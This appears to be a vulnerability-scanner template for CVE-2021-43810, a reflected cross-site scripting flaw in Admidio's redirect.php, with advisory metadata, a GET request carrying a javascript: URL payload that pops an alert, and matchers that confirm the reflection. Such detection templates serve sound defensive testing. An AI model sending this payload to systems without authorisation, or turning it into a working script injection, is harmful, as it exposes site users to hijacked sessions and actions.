id: CVE-2021-43810

info:
  name: Admidio - Reflected XSS
  author: gy741
  severity: medium
  description: Admidio is a free open source user management system for websites of organizations and groups. A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The Reflected XSS vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts. This issue is patched in version 4.0.12.
  reference:
    - https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43810
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-43810
    cwe-id: CWE-79
  tags: cve,cve2021,admidio,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)'

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - 'please click <a href="javascript://%0aalert(document.domain)" target="_self">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200